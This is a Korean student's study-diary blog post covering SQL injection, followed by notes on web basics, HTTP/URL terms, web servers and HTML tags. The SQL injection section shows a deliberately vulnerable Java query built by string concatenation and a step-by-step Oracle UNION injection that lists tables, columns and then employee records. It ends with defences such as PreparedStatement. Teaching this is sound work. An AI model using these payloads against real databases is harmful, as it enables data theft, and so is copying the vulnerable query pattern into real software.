성장 일기/쌍용교육센터 / / 2023. 2. 12. 13:53

0209/SQLInjection, web

쌍용교육센터에서 공부한 내용을 정리하며 기록하는 글이고 주관적인 생각이 들어갈 수 있습니다.
잘못된 내용이나 피드백 및 생각 공유는 언제든 환영입니다.
댓글로 남겨주시면 확인 후 수정하겠습니다.
내용에 대한 소스 코드는 https://github.com/2jaehoon/html에 올려두었습니다.

 

SQLInjection

  - 쿼리문을 예측하여 나머지 쿼리문을 외부에서 작성하고, 입력하여 정보탈취 해킹 기법

 

* 우편 번호 검색

StringBuilder sql = new StringBuilder();

sql
.append("select zipcode,sido,gugun,dong,bunji")
.append("from zipcode")
.append("where dong like '").append( dong ).append("%'");

* 생성된 쿼리문

Select zipcode,sido,gugun,dong,bunji
from zipcode
where dong like '상도동%';
-- Union 사용하여 쿼리문을 붙여서 공격
-- Error : 컬럼의 개수가 맞지 않거나, 컬럼의 데이터형이 다를 때

 

* SQLInjection 공격 순서

0. DD 지식

  -  테이블명을 검색 DD : tab

   - 테이블에 존재하는 컬럼 정보 얻는 DD : user_tab_cols

1. 테이블정보를 얻기

Select zipcode,sido,gugun,dong,bunji
from zipcode
where dong like 'aaaa' union select tname,'0','0','0','0' from tab -- %';
/*
Injection이 되어 실행되면 모든 테이블명이 검색된다. => 정보가 있을 만한 테이블을 찾는다.
dept,0,0,0,0
emp,0,0,0,0
test_login ,0, 0, 0, 0
*/

 

2.정보가 있을 만한 테이블의 컬럼 정보를 얻기

Select zipcode,sido,gugun,dong,bunji
from zipcode
where dong like 'aaaa' union select column_name,'0','0','0','0'
from user_tab_cols where table_name='emp' -- %';
/*
Injection이 되어 실행되면 테이블의 컬럼명이 검색된다. => 탈취할 컬럼명을 얻기
emno,0,0,0,0
ename,0,0,0,0
sal,0,0,0,0
*/

3.정보가 있을 만한 테이블의 컬럼 정보를 얻기

Select zipcode,sido,gugun,dong,bunji
from zipcode
where dong like 'aaaa' union select empno,ename,sal||'0','0','0' from emp -- %';
/*
Injection이 되어 실행되면 탈취할 테이블의 레코드가 검색된다. => 정보탈취
1111,스캇,3000,0,0
1112,윤상준,3200,0,0
1113,’김사원’,2220, 0, 0
*/

 

* SQLInjection 방어코드

  - 입력되는 데이터가 쿼리문을 가지지 않도록 변경. replaceAll( “찾을 문자열“,”치환할문자열” )

  - PreparedStatement를 사용

 

Web( WWW : World Wide Web - W3 )

  - 인터넷에서 문자, 그림, 그래픽, 소리, 영상( 멀티미디어 )등을 포함하는 문서를

     Hyper Text 개념을 도입하여 편리하게 전송하고, 검색하는 서비스

 

인터넷 ( internetwork )

  - Hyper Text를 사용하여 인터넷에 산재되어있는 정보를 검색할 수 있도록 해주는 프로그램

  - 컴퓨터로 연결하여 TCP/IP 프로토콜을 이용해 정보를 주고받는 네트워크 ( 누리망 )

  - 1973년에 TCP/IP를 정리한 빈트 서프, 밥 간이 네트워크와 네트워크를 하나의 통신망으로

    연결하고자 하는 의도로 이름을 부여하였다.

 

용어

  - Hyper Text : 문서안에 다른 문서로 연결할 수 있는 연결점을 가진 문서

  - Hyper link : 문서간의 이동이나 한문서 내에서 이동할 대 사용하는 링크

  - Hyper Media : 음성,영상, 동영상등 다양한 종류의 미디어를 연결 하는 것

  - HTML( Hyper Text Mark Language ) : 웹에 하이퍼 미디어 문서를 작성하고,

                                                                 사용자에게 보여주기 위한 언어.

  - HTTP ( Hyper Text Transmission Protocol ) : 웹에서 웹 서버와 웹 클라이언트 간에 통신하기 위한 규약

  - URL ( Uniform Resource Locator ) : 인터넷에 존재하는 여러 자원을 요청하는 주소체계

                                                              프로토콜://domain:PORT/요청할 자원의 이름

 

HTML( Hyper Text Markup Language )

  - 웹에 하이퍼미디어 문서를 작성하고 표현하기 위한 표준 언어
  - Compile하지 않고 Web Browser에서 그려서(Rendering) 보여주는 언어, 에러가 발생하지 않는 언어
  - SGML언어를 기반하고 있는 언어
  - Web Browser(IE, Chrome, Firefox, ...)에서만 사용된다.(브라우저의 다양성에 대한 문제 발생 => 웹표준)

IETF( Internet Engineering Task Force ) : 국제인터넷 표준화기구

  - 1986년 미국정부에 후원을 받아 설립된 단체
  - 1990년에 미국정부 후원을 종료하고 독자적인 연구 수행
  - TCP/IP, 도메인명, 인터넷 주소체계등을 만들었다.

 

HTML 문서의 구조

1. 코드작성

<!DOCTYPE html> : 선언부
<html>
<head>
   <meta charset=“사용할 charset”/>
   <title>타이틀바에 들어갈 내용.</title>
</head>
<body>
   사용자에게 보여줄 내용
</body>
</html>

 

2. 저장 : 파일명.html, 파일명.htm(권장하지 않음)

3. 실행 : web browser에서 URL로 호출하여 실행

               http://localhost:80/폴더명/파일명.html

 

Web Server

  - HTML를 저장하고 있다가, 웹 클라이언트에서 요청이 들어오면 HTML을 응답해주는 프로그램

  - Apache HTTP Server => apache.org

 

 

Web Container

  - Servlet/ JSP를 저장하고 있다가, 웹 클라이언트에서 요청이 들어오면 Servlet/JSP를

    HTML로 변환한 후 응답해주는 프로그램

  - Apache Tomcat => apache.org

  - Web Server의 기능을 가진다.

 

 WAS(Web Application Server)

  - Java EE의 모든 Spec를 서비스할 수 있는 프로그램

  - Middleware라고도 한다.

  - Web logic, WebSphere, JBOSS, JEUS, ...

 

Eclipse에서 웹 개발에 사용되는 폴더 구조

 

HTML

  - ML( Markup Language ) 본문에서 특정부분을 강조하여 보여줄 때 사용하는 언어
  - tag언어
   <로 시작하여 >로 끝나는 언어

<태그명 속성명=값 속성명=값 ...> 내용 </태그명>

 

  - 태그는 대.소문자를 가리지 않는다.
  - 연산의 기능이 없다.
  - 닫힘 태그가 나오지 않아도 에러가 발생하지 않는다.

 

줄 변경 태그

  - 웹 브라우저는 엔터 키(\n) 값(13)으로 줄 변경하지 않는다.
  - <br> : 줄 변경 – 문장내에서 줄 변경하고 싶은 위치에 <br> 태그를 넣는다.
  - <p> : 문단 – 문단을 구분할 때 사용

주석(Comment)

  - HTML 태그를 Web Browser가 Rendering 하지 못하도록 막는 것
  - 소스 보기를 하면 주석의 내용이 그대로 보인다.
  - 주석은 중첩 사용할 수 없다.(주석 안에 주석을 넣어 사용할 수 없다.)
  - 모든 Markup 언어는 주석이 같다.
    <!--  내용 -->

 

 

'성장 일기 > 쌍용교육센터' 카테고리의 다른 글

0213/이미지, table tag  (0) 2023.02.13
0210/HTML tag  (0) 2023.02.12
0207/Procedure  (0) 2023.02.12
0206/ResultSetMetaData, CLOB  (0) 2023.02.08
0203/PreparedStatement  (0) 2023.02.08
  • 네이버 블로그 공유
  • 네이버 밴드 공유
  • 페이스북 공유
  • 카카오스토리 공유